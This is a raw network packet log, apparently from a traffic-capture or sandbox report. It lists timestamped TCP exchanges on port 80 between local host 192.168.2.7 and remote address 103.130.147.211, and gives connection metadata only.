Sep 18, 2024 14:30:07.690237999 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690835953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690875053 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690886021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690932989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690941095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690941095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690941095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690946102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690995932 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690995932 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.691767931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.691788912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.691802979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.691813946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.691828012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.691871881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.691871881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.691921949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.692652941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.692718983 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.692750931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.692764044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.693017960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.695472956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.695508003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.695522070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.695533991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.695545912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.695557117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.695599079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.695599079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.695599079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.696094036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.696158886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.696178913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.696229935 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.696428061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.696443081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.696566105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.696578979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.696611881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.696611881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.696611881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.696772099 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.697107077 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.697163105 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.697501898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.697515965 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.697562933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.697565079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.697576046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.697576046 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.697591066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.697633028 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.697633982 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.697633982 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.697676897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.697722912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.698307037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.698369980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.698383093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.698427916 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.698427916 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.698427916 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.698611975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.698626041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.699297905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.699328899 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.699341059 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.699404955 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.699404955 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.699589014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.699601889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.699615002 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.699642897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.699656010 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.699698925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.699698925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.699698925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.700660944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.700685024 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.700699091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.700711012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.700726986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.700778961 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.700778961 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.700778961 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.701339006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.701360941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.701375961 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.701386929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.701400995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.701401949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.701478958 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.701478958 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.702238083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.702253103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.702265024 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.702404022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.702428102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.702449083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.702449083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.702449083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.702562094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706161976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706199884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706222057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706240892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706243992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706253052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706274986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706286907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706295013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706295013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706301928 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706315994 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706329107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706357956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706357956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706357956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706396103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706398010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706410885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706581116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706625938 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706625938 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706625938 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706708908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706721067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706732035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706744909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706769943 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706774950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706788063 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706789017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706801891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706814051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706826925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706839085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706851006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706864119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.706867933 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706867933 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706867933 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706912041 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.706912041 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.707691908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707706928 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707734108 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707751989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707756996 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.707765102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707779884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707792044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707803011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707823992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.707823992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707823992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.707839012 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.707839012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707854033 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707866907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.707873106 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.707906961 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.707937002 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.708648920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708662987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708681107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708694935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708708048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708719015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708719969 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.708731890 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708734035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.708745003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708756924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708762884 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.708771944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708785057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708795071 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.708795071 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.708797932 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708813906 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.708874941 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.708874941 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.709491968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.709562063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.709696054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.709696054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.794630051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794656992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794670105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794682980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794694901 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794708014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794719934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794733047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794745922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794756889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794770002 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794781923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794794083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794881105 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.794881105 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.794881105 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.794928074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794941902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.794954062 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795005083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795017958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795031071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795048952 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795048952 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795048952 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795170069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795182943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795195103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795227051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795243025 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795243025 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795243025 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795288086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795300961 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795312881 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795339108 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795353889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795362949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795362949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795362949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795370102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795418024 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795418024 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795572996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795628071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795643091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795686960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795686960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795686960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795800924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795813084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795825005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795835972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795855999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795866013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795877934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795890093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795902967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.795905113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795905113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.795905113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796226025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796246052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796258926 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796281099 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796281099 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796281099 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796308041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796324968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796336889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796348095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796380997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796380997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796380997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796392918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796406031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796418905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796431065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796442986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796453953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796466112 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796477079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796489000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796519041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796530008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796535015 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796535015 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796535015 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796550035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796561956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796574116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.796603918 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796603918 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.796603918 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797252893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797301054 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797312021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797337055 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797337055 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797337055 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797369003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797382116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797394037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797414064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797447920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797447920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797447920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797561884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797574997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797585011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797596931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797617912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797627926 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797638893 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797638893 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797638893 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797642946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797662973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797674894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797686100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797698021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797708988 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797720909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797722101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797722101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797722101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797735929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.797775030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797775030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.797775030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798171043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798182964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798193932 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798206091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798223972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798242092 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798254013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798264980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798278093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798290968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798290968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798290968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798329115 CEST	49705	80	192.168.2.7	103.130.147.211
